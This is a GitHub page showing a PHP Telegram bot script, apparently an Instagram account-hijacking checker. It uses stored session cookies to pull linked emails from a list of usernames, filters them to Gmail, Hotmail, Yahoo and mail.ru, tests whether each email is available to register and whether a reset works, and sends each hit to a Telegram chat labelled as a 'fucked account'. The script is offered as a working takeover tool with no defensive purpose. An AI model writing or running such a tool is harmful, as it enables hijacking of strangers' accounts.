-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathstart.php
153 lines (150 loc) · 7.92 KB
/
start.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<?php
date_default_timezone_set('Asia/Baghdad');
$config = json_decode(file_get_contents('config.json'),1);
$id = $config['id'];
$token = $config['token'];
$config['filter'] = $config['filter'] != null ? $config['filter'] : 1;
$screen = file_get_contents('screen');
exec('kill -9 ' . file_get_contents($screen . 'pid'));
file_put_contents($screen . 'pid', getmypid());
include 'index.php';
$accounts = json_decode(file_get_contents('accounts.json') , 1);
$cookies = $accounts[$screen]['cookies'];
$useragent = $accounts[$screen]['useragent'];
$users = explode("\n", file_get_contents($screen));
$uu = explode(':', $screen) [0];
$se = 100;
$i = 0;
$gmail = 0;
$hotmail = 0;
$yahoo = 0;
$mailru = 0;
$true = 0;
$false = 0;
$NotBusiness = 0;
$edit = bot('sendMessage',[
'chat_id'=>$id,
'text'=>"*جاري *",
'parse_mode'=>'markdown',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'عدد الفحص :'.$i,'callback_data'=>'fgf']],
[['text'=>'عدد اليوزرات :'.$user,'callback_data'=>'fgdfg']],
[['text'=>"𝓰𝓶𝓪𝓲𝓵 :$gmail",'callback_data'=>'dfgfd'],['text'=>"𝔂𝓪𝓱𝓸𝓸 :$yahoo",'callback_data'=>'gdfgfd']],
[['text'=>'𝓶𝓪𝓲𝓵𝓻𝓾 :'.$mailru,'callback_data'=>'fgd'],['text'=>'𝓱𝓸𝓽𝓶𝓪𝓲𝓵 :'.$hotmail,'callback_data'=>'ghj']],
[['text'=>' متاح : '.$true,'callback_data'=>'gj']],
[['text'=>' ليس متاح : '.$false,'callback_data'=>'dghkf']],
[['text'=>'NOT BUSINESS ☑ :'.$NotBusiness,'callback_data'=>'dgdge']],
]
])
]);
$se = 1;
$editAfter = 1;
foreach ($users as $user) {
$info = getInfo($user, $cookies, $useragent);
if ($info != false and !is_string($info)) {
$mail = trim($info['mail']);
$usern = $info['user'];
$e = explode('@', $mail);
if (preg_match('/(live|hotmail|outlook|yahoo|Yahoo|yAhoo)\.(.*)|(gmail)\.(com)|(mail|bk|yandex|inbox|list)\.(ru)/i', $mail,$m)) {
echo 'check ' . $mail . PHP_EOL;
if(checkMail($mail)){
$inInsta = inInsta($mail);
if ($inInsta !== false) {
// if($config['filter'] <= $follow){
echo "True - $user - " . $mail . "\n";
if(strpos($mail, 'gmail.com')){
$gmail += 1;
} elseif(strpos($mail, 'hotmail.') or strpos($mail,'outlook.') or strpos($mail,'live.com')){
$hotmail += 1;
} elseif(strpos($mail, 'yahoo')){
$yahoo += 1;
} elseif(preg_match('/(mail|bk|yandex|inbox|list)\.(ru)/i', $mail)){
$mailru += 1;
}
$follow = $info['f'];
$following = $info['ff'];
$media = $info['m'];
bot('sendMessage', ['disable_web_page_preview' => true, 'chat_id' => $id, 'text' => "➭ 𝐇𝐈 𝐍𝐄𝐖 𝐅𝐔𝐂𝐊𝐄𝐃 𝐀𝐂𝐂𝐎𝐔𝐍𝐓 🎭
-------------------------------
𖡦-› 𝐮𝐬𝐞𝐫𝐧𝐚𝐦𝐞 : [$usern](instagram.com/$usern)
𖡦-› 𝐞𝐦𝐚𝐢𝐥 : [$mail]
𖡦-› 𝐩𝐡𝐨𝐧𝐞 𝐧𝐮𝐦𝐛𝐞𝐫 : [$phone]
𖡦-› 𝐟𝐨𝐥𝐥𝐨𝐰𝐞𝐫𝐬 : $follow
𖡦-› 𝐟𝐨𝐥𝐥𝐨𝐰𝐢𝐧𝐠 : $following
𖡦-› 𝐩𝐨𝐬𝐭 : $media
𖡦-› 𝐭𝐢𝐦𝐞 : " . date('Y/n/j g:i') . "
𖡦-› 𝐚𝐜𝐜𝐨𝐮𝐧𝐭 𝐯𝐞𝐫𝐢𝐟𝐢𝐞𝐝 : false
-------------------------------
𝐓𝐄𝐋𝐄: @D6D6I 〰️ 𝐂𝐇: @AAR3e",
'parse_mode'=>'markdown']);
bot('editMessageReplyMarkup',[
'chat_id'=>$id,
'message_id'=>$edit->result->message_id,
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'عدد الفحص :'.$i,'callback_data'=>'fgf']],
[['text'=>'عدد اليوزرات :'.$user,'callback_data'=>'fgdfg']],
[['text'=>"𝓰𝓶𝓪𝓲𝓵 :$gmail",'callback_data'=>'dfgfd'],['text'=>"𝔂𝓪𝓱𝓸𝓸 :$yahoo",'callback_data'=>'gdfgfd']],
[['text'=>'𝓶𝓪𝓲𝓵𝓻𝓾 :'.$mailru,'callback_data'=>'fgd'],['text'=>'𝓱𝓸𝓽𝓶𝓪𝓲𝓵 :'.$hotmail,'callback_data'=>'ghj']],
[['text'=>' متاح : '.$true,'callback_data'=>'gj']],
[['text'=>' ليس متاح : '.$false,'callback_data'=>'dghkf']],
[['text'=>'NOT BUSINESS ☑ :'.$NotBusiness,'callback_data'=>'dgdge']],
]
])
]);
$true += 1;
// } else {
// echo "Filter , ".$mail.PHP_EOL;
// }
} else {
echo "No Rest $mail\n";
}
} else {
$false +=1;
echo "Not Vaild 2 - $mail\n";
}
} else {
echo "BlackList - $mail\n";
}
} elseif(is_string($info)){
bot('sendMessage',[
'chat_id'=>$id,
'text'=>"الحساب - `$screen`\n تم حظره من *الفحص*.",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'نقل اللسته ','callback_data'=>'moveList&'.$screen]],
[['text'=>'حذف الحساب ','callback_data'=>'del&'.$screen]]
]
]),
'parse_mode'=>'markdown'
]);
exit;
} else {
$NotBusiness+=1;
echo "Not Bussines - $user\n";
}
usleep(750000);
$i++;
file_put_contents($screen, str_replace($user, '', file_get_contents($screen)));
file_put_contents($screen, preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "", file_get_contents($screen)));
if($i == $editAfter){
bot('editMessageReplyMarkup',[
'chat_id'=>$id,
'message_id'=>$edit->result->message_id,
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'عدد الفحص :'.$i,'callback_data'=>'fgf']],
[['text'=>'عدد اليوزرات :'.$user,'callback_data'=>'fgdfg']],
[['text'=>"𝓰𝓶𝓪𝓲𝓵 :$gmail",'callback_data'=>'dfgfd'],['text'=>"𝔂𝓪𝓱𝓸𝓸 :$yahoo",'callback_data'=>'gdfgfd']],
[['text'=>'𝓶𝓪𝓲𝓵𝓻𝓾 :'.$mailru,'callback_data'=>'fgd'],['text'=>'𝓱𝓸𝓽𝓶𝓪𝓲𝓵 :'.$hotmail,'callback_data'=>'ghj']],
[['text'=>' متاح : '.$true,'callback_data'=>'gj']],
[['text'=>' ليس متاح : '.$false,'callback_data'=>'dghkf']],
[['text'=>'NOT BUSINESS ☑ :'.$NotBusiness,'callback_data'=>'dgdge']],
]
])
]);
$editAfter += 1;
}
}
bot('sendMessage', ['chat_id' => $id, 'text' =>" نتهى الفحص :".explode(':',$screen)[0]]);